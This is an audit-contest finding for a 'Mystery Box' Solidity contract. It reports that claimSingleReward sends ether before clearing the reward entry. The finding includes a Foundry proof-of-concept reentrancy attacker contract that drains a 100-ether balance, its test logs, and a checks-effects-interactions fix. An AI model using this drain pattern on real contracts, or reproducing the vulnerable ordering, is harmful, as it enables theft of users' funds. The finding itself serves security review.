Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`claimSingleReward` Function Changing `rewardsOwned` After External Call, Introducing Reentrancy Risk

Summary

The claimSingleReward function in the MysteryBox contract contains a critical vulnerability that can be exploited through reentrancy, which allows malicious users to drain the contract's funds.

Vulnerability Details

Whenever users want to claim individual rewards, they can call the claimSingleReward function. This function calculates the specific reward value and transfers it to the user. However, a serious problem arises because the function modifies the rewardsOwned mapping after transferring the funds, thereby introducing potential reentrancy vulnerabilities.

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
// Transfer reward
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
// Change state variable after transfer
@> delete rewardsOwned[msg.sender][_index];
}

This allows a user to drain all funds by repeatedly calling claimSingleReward from a malicious contract.

Impact

This vulnerability allows malicious actors to drain all funds from the contract by repeatedly invoking claimSingleReward.

PoC

Write the following code to TestMysteryBox.t.sol:

contract MysteryBoxTest is Test{
...
function testReentrancySingleReward() public {
address alice = makeAddr("alice");
vm.deal(alice, 2 ether);
vm.startPrank(alice);
// Deploy the attack contract
Reentrancy attackContract = new Reentrancy{value: 1 ether}(address(mysteryBox));
// Simulating a condition where the contract
// holds funds from other users
vm.deal(address(mysteryBox), 100 ether);
uint256 contractBalance = address(mysteryBox).balance;
console.log("Contract balance before attack:", contractBalance);
uint256 attackerBalance = address(attackContract).balance;
console.log("Attacker balance before attack:", attackerBalance);
// Attack
attackContract.drainFunds();
vm.stopPrank();
contractBalance = address(mysteryBox).balance;
console.log("Contract balance after attack:", contractBalance);
attackerBalance = address(attackContract).balance;
console.log("Attacker balance after attack:", attackerBalance);
assert(attackerBalance >= 100 ether);
}
...
}
contract Reentrancy is Test {
MysteryBox mysteryBox;
constructor(address _mysteryBox) payable {
mysteryBox = MysteryBox(_mysteryBox);
}
receive() external payable {
if (address(mysteryBox).balance > 0.1 ether) {
mysteryBox.claimSingleReward(2);
}
}
function drainFunds() public {
uint256 price = mysteryBox.boxPrice();
// Attacker buys 5 boxes
for (uint8 i = 0; i < 5; i++) {
mysteryBox.buyBox{value: price}();
}
// Give interval for each openBox() to increase
// the potential for receiving different rewards
for (uint8 i = 0; i < 5; i++) {
mysteryBox.openBox();
vm.warp(block.timestamp + 1000);
}
// Drain funds
// Index 2 contains ether
mysteryBox.claimSingleReward(2);
}
}

Output:

Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testReentrancySingleReward() (gas: 3039786)
Logs:
Reward Pool Length: 4
Contract balance before attack: 100000000000000000000
Attacker balance before attack: 1000000000000000000
Contract balance after attack: 0
Attacker balance after attack: 101000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.31ms (7.50ms CPU time)

The attacker must know in advance the index that holds Ether. This allows malicious actors to drain all funds available in the contract, demonstrating the dangers of the current implementation.

Tools Used

  • Manual review

  • Foundry

Recommendations

To mitigate this vulnerability, modify the claimSingleReward function to follow the Checks-Effects-Interactions (CEI) pattern. This will help ensure that state changes are made before any external calls.

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!